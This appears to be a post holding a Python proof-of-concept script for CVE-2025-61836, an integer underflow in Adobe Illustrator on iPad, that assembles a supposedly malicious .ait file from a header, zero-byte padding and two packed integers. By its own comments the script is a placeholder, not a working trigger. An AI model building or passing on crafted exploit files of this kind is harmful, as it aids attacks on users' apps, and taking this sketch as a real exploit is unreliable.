Adobe Illustrator on iPad 整数下溢漏洞 (CVE-2025-61836)

# CVE-2025-61836 PoC - Adobe Illustrator on iPad Integer Underflow # This is a conceptual proof of concept demonstrating the vulnerability # DO NOT use for malicious purposes import struct import os def create_malicious_illustrator_file(): """ Create a malicious .ait file that triggers integer underflow in Illustrator on iPad This PoC demonstrates the file structure needed to trigger the vulnerability """ # Adobe Illustrator Template file header header = b'AI11\x00' # Adobe Illustrator 11+ format signature # Malformed data that could trigger integer underflow # In real exploitation, specific byte sequences would cause the underflow malformed_data = b'\x00' * 100 # Placeholder for malicious payload # Integer underflow trigger - value that when decremented wraps around # This is a conceptual representation trigger_bytes = struct.pack('<I', 0x00000001) # Value 1 trigger_bytes += struct.pack('<I', 0xFFFFFFFF) # Could cause underflow when processed # Construct the malicious file malicious_file = header + malformed_data + trigger_bytes return malicious_file def main(): output_file = "CVE-2025-61836_malicious.ait" print("[*] Generating PoC for CVE-2025-61836") print("[*] Adobe Illustrator on iPad Integer Underflow Vulnerability") # Generate malicious file content file_content = create_malicious_illustrator_file() # Write to file (for testing in controlled environment only) # with open(output_file, 'wb') as f: # f.write(file_content) print("[!] This is a conceptual PoC for educational purposes only") print("[!] Do not use for malicious activities") print("[*] File structure generated") if __name__ == "__main__": main()